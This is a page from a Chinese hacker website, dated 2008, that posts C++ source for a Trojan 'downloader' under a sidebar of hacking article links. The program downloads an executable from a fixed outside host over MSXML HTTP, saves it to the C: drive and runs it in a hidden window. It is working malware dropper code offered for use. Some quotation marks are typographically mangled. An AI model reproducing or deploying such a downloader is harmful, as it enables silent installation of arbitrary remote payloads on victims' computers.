黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·xml下载者VC源码05-14·怀念经典 优化大师帮你V05-14
·BRSBOX提供500MB免费网络05-14·freeweb7提供8000M免费p05-14
·NvCpl64.dll, Thumbs.ln05-12·异常系统文件userinit.e05-12
·如何使用Windows系统的文05-12·替换系统程序病毒与wind05-12
·如何取消windows xp自动05-12·Radmin 3.2 简体中文绿色05-12
·找回Windows XP SP3的IE05-12·网马的运行分析05-12
·登录任意windows系统帐号05-12·Windows 2003至Windows 05-12
·IGotFree 提供无限容量免05-12·我要试试提供80M免费php05-11
·巧用闪存,防遗忘 Vista05-10·文件夹的终极隐藏05-10
·Netfirms提供25M免费php05-10·让Windows 2003在“内存05-09
·悠悠php提供1000M免费ph05-09·网站注入如何绕过限制!05-08
·实例讲解跨站入侵攻防战05-08·rgboard 3.0.12 远程文件05-08
·迅雷本地溢出POC05-08·perl后门,正向和反向05-08
·嘉英网提供50-1000M免费05-08·掌控Vista从控制面板说起05-07
[推荐]xml下载者VC源码
        ★★★★★

xml下载者VC源码

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-5-14 11:49:44
// xml.cpp : By CoolDiyer 2008/4/9 14:03 
//
#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)

#include <windows.h>
#include <atlbase.h>
#import “msxml.dllbool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
	MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
	HRESULT	hr;
	BSTR	bstrstring = NULL;
	hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);
	if (!SUCCEEDED(hr))	return false;
	hr = xmlHttp->open(”GET“, szURL, false);
	if (!SUCCEEDED(hr))	return false;
	hr = xmlHttp->send();
	if (!SUCCEEDED(hr))	return false;
	xmlHttp->get_responseText(&bstrstring);
	if (!SUCCEEDED(hr))	return false;

	VARIANT	vValue;
	xmlHttp->get_responseStream(&vValue);

	IStream	*pIStream = NULL;
	STATSTG	StatStg;
	pIStream = (IStream*)vValue.punkVal;  //取得流对象指针
	pIStream->Stat(&StatStg, NULL);
	ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得文件的长度

	HANDLE	hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	BYTE	lpBuffer[1024];
	DWORD	dwBytesWritten = 0;
	ULONG	uLen;
	while (nSize > 0)
	{
		pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
		WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
		nSize -= uLen;
	}
	CloseHandle(hFile);
	if (pIStream)
	{
		pIStream->Release();
		pIStream = NULL;
	}
	return true;
}

int WINAPI WinMain(
				   HINSTANCE hInstance,      // handle to current instance
				   HINSTANCE hPrevInstance,  // handle to previous instance
				   LPSTR lpCmdLine,          // command line
				   int nCmdShow              // show state
)
{
	CoInitialize(NULL);
	char	*lpszFile = “c:\\a.exe“;
	URLDownloadToFile(”http://xdiyer.com/x.exe“, lpszFile);
	WinExec(lpszFile, SW_HIDE);
	CoUninitialize();
	return 0;
}
文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886